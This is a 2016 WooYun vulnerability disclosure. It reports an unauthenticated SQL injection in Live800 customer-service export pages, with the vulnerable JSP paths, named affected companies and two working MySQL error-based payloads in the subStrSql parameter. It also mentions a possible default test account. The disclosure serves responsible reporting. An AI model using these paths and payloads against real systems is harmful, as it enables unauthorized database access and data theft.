当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0196689

漏洞标题:Live800在线客服系统SQL注入

相关厂商:live800.com

漏洞作者: 路人甲

提交时间:2016-04-16 22:30

修复时间:2016-07-17 21:00

公开时间:2016-07-17 21:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-16: 细节已通知厂商并且等待厂商处理中
2016-04-18: 厂商已经确认,细节仅向厂商公开
2016-04-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-12: 细节向核心白帽子及相关领域专家公开
2016-06-22: 细节向普通白帽子公开
2016-07-02: 细节向实习白帽子公开
2016-07-17: 细节向公众公开

简要描述:

Live800为全球中高端企业客户提供在线营销、在线客服解决方案。
某处前台无需登录sql注入。

详细说明:

看了下发现live800所有导出功能都是通过sql查询实现的。
/new_sta/export/chatHoursSta.jsp
/sta/export/chatOpSta.jsp
/new_sta/export/chatOpSta.jsp
整理可能有遗漏,后台登录后所有导出功能应该都可以产生任意sql执行。
另外如果修复了sta文件夹下的,顺便也应该修复new_sta文件夹下,文件都一样。
另外dingqiang这个用户是系统自带的测试账号么? 感觉每个系统都有这个用户,如果是的话应该建议用户修改这个测试账号密码。

漏洞证明:

测试url:
长安汽车:http://**.**.**.**/live800/sta/export/chatOpSta.jsp
博威:http://**.**.**.**:8080/live800/
顺丰:http://**.**.**.**:8080/live800/
金蝶:http://**.**.**.**/live800/
易宝支付:http://**.**.**.**/live800/
针对mysql数据库的测试payload:

export=txt&companyId=1&subStrSql=(select  (select 1 from  (select count(*),concat(user(),floor(rand(0)*2))x from  information_schema.tables group by x)a))


export=txt&companyId=1&subStrSql=EXTRACTVALUE(1,CONCAT(0x5c,(MID((IFNULL(CAST(user() AS CHAR),0x20)),1,21))))


测试截图:
长安汽车:

14607120200695.jpg


顺丰:

sf.png


博威:

**.**.**.**.png


金蝶:

kingdee.png


易宝支付:

yeepay.png

修复方案:

过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2016-04-18 20:56

厂商回复:

非常感谢。

最新状态:

暂无